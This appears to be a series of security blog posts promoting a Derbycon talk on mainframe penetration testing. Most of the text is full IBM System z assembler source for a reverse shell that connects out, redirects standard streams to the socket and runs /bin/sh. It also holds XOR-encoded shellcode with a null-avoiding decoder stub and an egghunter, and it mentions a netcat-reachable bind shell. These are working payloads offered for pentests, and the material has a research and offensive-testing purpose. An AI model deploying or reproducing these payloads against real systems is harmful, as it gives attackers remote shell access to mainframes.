Here are the slides to my Derbycon talk on mainframe security.
Here are the slides to my Derbycon talk on mainframe security.
A much slimmer and simpler complement to the bind shell. Come see my talk at Derbycon this Saturday 5:30pm at and learn about how you (yes you) can put this to use in your pentests!
This version does not have a built-in EBCDIC encoder/decoder like the bind shell below. The client (or framework??) is responsible for character translation.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 |
TITLE 'non-encoding rev shell for systemz' RSHLNT CSECT RSHLNT AMODE 31 RSHLNT RMODE ANY *********************************************************************** @SETUP DS 0F # full word boundary STM 14,12,12(13) # save our registers LARL 15,@SETUP # base address into R15 LR 8,15 # copy R15 to R8 USING @SETUP,8 # R8 for addressability throughout LARL 11,SAVEAREA # sa address ST 13,4(,11) # save callers save area LR 13,11 # R13 to our save area DS 0H # halfword boundaries *********************************************************************** @LOADFS L 2,FFUNC # first function we use LHI 3,8 # used for our index L 4,NUMFUNC # number of functions to load @LDLOOP LR 0,2 # load string of func name XR 1,1 # clear R1 SVC 8 # perform LOAD XC 0(8,2),0(2) # clear current Func space ST 0,0(0,2) # store addr in func space AR 2,3 # increment R2 by 8 AHI 4,-1 # decrement R4 CIB 4,0,2,@LDLOOP # compare R4 with 0,if GT loop *********************************************************************** LSOCK L 15,BSOC # load func addr to 15 CALL (15),(DOM,TYPE,PROTO,DIM,CLIFD, x RTN_VAL,RTN_COD,RSN_COD),VL ******************************* LHI 15,2 L 6,RTN_VAL CIB 6,0,7,EXITP # R6 not 0? Time to exit *********************************************************************** LCONN L 15,BCON # load func addr to 15 LA 5,SRVSKT # addr of our socket USING SOCKADDR,5 # layout sockaddr over R5 XC SOCKADDR(16),SOCKADDR # zero sock addr struct MVI SOCK_FAMILY,AF_INET # family inet MVI SOCK_LEN,SOCK#LEN # len of socket MVC SOCK_SIN_PORT,CONNSOCK # port to connect to MVC SOCK_SIN_ADDR,CONNADDR # address to connect to DROP 5 CALL (15),(CLIFD,SOCKLEN,SRVSKT, x RTN_VAL,RTN_COD,RSN_COD),VL ******************************* LHI 15,3 L 6,RTN_VAL CIB 6,0,7,EXITP # R6 not 0? Time to exit ************************************************* LA 2,F_DUPFD2 # gonna do a dup2 L 5,CLIFD # set clifd=stdin XR 6,6 # zero out R6 (stdin) BRAS 14,LFCNTL # call dupe2 LA 2,F_DUPFD2 # gonna do a dup2 L 5,CLIFD # set clifd=stdin LHI 6,1 # R6=stdout BRAS 14,LFCNTL # call dupe2 L 5,CLIFD # set clifd=stdin LHI 6,2 # R6=stderr BRAS 14,LFCNTL # call dupe2 *********************************************************************** LEXEC L 15,BEXC # load func addr to 15 CALL (15),(EXCMDL,EXCMD,EXARGC,EXARGLL,EXARGL, x EXENVC,EXENVLL,EXENVL, x EXITRA,EXITPLA, x RTN_VAL,RTN_COD,RSN_COD),VL BRAS 0,GOODEX # exit child proc after exec *********************************************************************** LFCNTL L 15,BFCT # load func addr to 15 ST 14,SAVEAREA # save return address ST 5,@FFD # fd to be duplicated ST 2,@ACT # action field for BPX1FCT ST 6,@ARG # r6 should have the biggest fd BRAS 0,@FCTL @FFD DC F'0' @ACT DC F'0' @ARG DC F'0' @RETFD DC F'0' @FCTL CALL (15),(@FFD,@ACT,@ARG,@RETFD,RTN_COD,RSN_COD),VL **************************************************** LHI 15,11 # exit code for this func L 7,@RETFD # set r6 to rtn val CIB 7,-1,8,EXITP # r6 = -1 exit L 14,SAVEAREA # reload ret address BCR 15,14 # return to caller **************************************************** GOODEX XR 15,15 # zero return code EXITP ST 15,0(,11) L 13,4(,11) LM 14,12,12(13) # restore registers LARL 5,SAVEAREA L 15,0(0,5) BCR 15,14 # branch to caller ********************** @CONST DS 0F # constants full word boundary SAVEAREA DC X'00000000' DC X'00000000' ALET DC F'0' ************************* FFUNC DC A(BSOC) # address of first function NUMFUNC DC F'5' # number of funcs listed below BSOC DC CL8'BPX1SOC ' # Socket BBND DC CL8'BPX1BND ' # Bind BCON DC CL8'BPX1CON ' # Connect BFCT DC CL8'BPX1FCT ' # Fcntl BEXC DC CL8'BPX1EXC ' # Exec ************************* CONNSOCK DC XL2'3039' # port 12345 CONNADDR DC XL4'00000000' # address 0.0.0.0 BACKLOG DC F'1' # 1 byte backlog DOM DC A(AF_INET) # AF_INET = 2 TYPE DC A(SOCK#_STREAM) # stream = 1 PROTO DC A(IPPROTO_IP) # ip = 0 DIM DC A(SOCK#DIM_SOCKET) # dim_sock = 1 SRVSKT DC 16XL1'77' # srv socket struct SOCKLEN DC A(SOCK#LEN+SOCK_SIN#LEN) CLILEN DC A(*) # len of client struct CLISKT DC 16XL1'88' # client socket struct CLIFD DC A(*) # client fd ************************ EXCMD DC CL7'/bin/sh' # command to exec EXCMDL DC A(L'EXCMD) # len of cmd to exec EXARGC DC F'1' # num of arguments EXARG1 DC CL2'sh' # arg 1 to exec EXARG1L DC A(L'EXARG1) # len of arg1 EXARGL DC A(EXARG1) # addr of argument list EXARGLL DC A(EXARG1L) # addr of arg len list EXENVC DC F'0' # env var count EXENVL DC F'0' # env var arg list addr EXENVLL DC F'0' # env var arg len addr EXITRA DC F'0' # exit routine addr EXITPLA DC F'0' # exit rout parm list addr ********************* RTN_VAL DC A(*) # return value RTN_COD DC A(*) # return code RSN_COD DC A(*) # reason code *************************** BPXYSOCK LIST=YES # MACRO MAP for socket structure BPXYFCTL LIST=YES # MACRO MAP for fcntl structure END @SETUP |
Full source can be found on github, along with a very small shellcode version.
Here’s a teaser on the talk I’m giving at Derbycon 5.0. Mainframe Pentesting / Security. No more excuses.
This is an addendum to the last post. Here is shellcode (and it’s stripped down source) that achieve the same goal as the prior post. The difference is the payload is XOR encoded and the shellcode, and it’s source, have a built in decoder stub that decodes the payload in memory then jumps to it.
If the payload decoder coding looks a bit obtuse, it’s because instructions and operands were chosen that have neither nulls “\x0” nor EBCDIC newlines “\x15” in them.
The code also includes an egghunter that finds the location of the payload in memory, in case they need to be separated. You can read about egghunters here and here if you aren’t sure what that means.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 |
AFI 1,X'01010102' # loading a 1 in R1 AFI 2,X'01010103' # loading a 1 in R1 XR 1,2 # loading a 1 in R1 LR 4,1 # will put a 4 in R4 SLA 4,1(1) # make R1 == 4 XR 10,10 # zeroout R10 for our egg XR 2,2 # zero 2 LGFI 10,X'deadbeef' # load egghunter value into R10 LR 11,12 # load base int R11 LOOPER AR 11,1 # add 1 to R11 L 3,1(2,11) # retrieve value at R11 +1 indexR2=0 CR 10,3 # compare egg with R11 mem pointer BRC 7,LOOPER # branch anything but equal AR 11,4 L 3,1(2,11) # retrieve value at R11 +1 indexR2=0 CR 10,3 # compare egg with R11 mem pointer BRC 7,LOOPER # 2nd check 2 in a row good to go! AR 11,1 # 1 for the offset from above SR 11,4 # 4 to skip last egg ST 13,4(,11) # store old SP for later in wkg area ST 11,8(,13) # store this in old wking area LR 13,11 # set up R13 pt to new wkg area ** End setup and stack management ** ** Begin main decoding routine ** LR 3,11 # This is now our egghunter loc AR 3,4 # add 4 to 3 AR 3,4 # R3 points to SC for decoding LR 5,3 # R5 points to SC for jumping to SR 3,1 # R3-1 to we can XI that addr w/o nulls SR 3,1 # R3-1 to we can XI that addr w/o nulls LR 4,1 # R4 has static 1 XR 1,1 # R1 will be our byte counter XR 2,2 # R2 will be address pointer LOOP1 AR 1,4 # add 1 to R1 byte counter ARK 2,3,1 # generate new address pointer * put the XOR key (enc buffer char) from below in the quotes below XI 1(2),X'4b' # xor byte with key * put the buffer len (num of bytes) in the next cmd in CHI 1,<here> CHI 1,2088 # to yield sc len BRC 4,LOOP1 # loop bwd 18 bytes if R1 < size XR 4,4 ** Begin cleanup and stack management ** L 13,4(4,11) # reload old SP LM 6,4,12(13) # restore registers BCR 15,5 # jmp to sc ** End main decoding routine ** DC X'DEADBEEF' #egg DC X'DEADBEEF' #egg + old sp ******************************************************************* *Buffer length: 4176 *Number of bytes: 2088 *Enc buffer char: 0x4b *ASM buffer: DC X'dba79b478bbbb4b4b4b553448b0b4b4b48af1b9b0b4f539fecd34bX 4aec834b4fecae487.................... |
Key in any basic toolset for pentesting the mainframe platform is a selection of payloads that can be used to test vulnerabilities.
Below is a bind shell payload, written from scratch in mainframe assembler. The shell can be connected to using netcat. The payload differs from its Intel counterparts, in that it contains its own EBCDIC to ASCII convertor. Because of this, the standard exec(‘/bin/sh’,’sh’) could not be used. Read on for more technical details.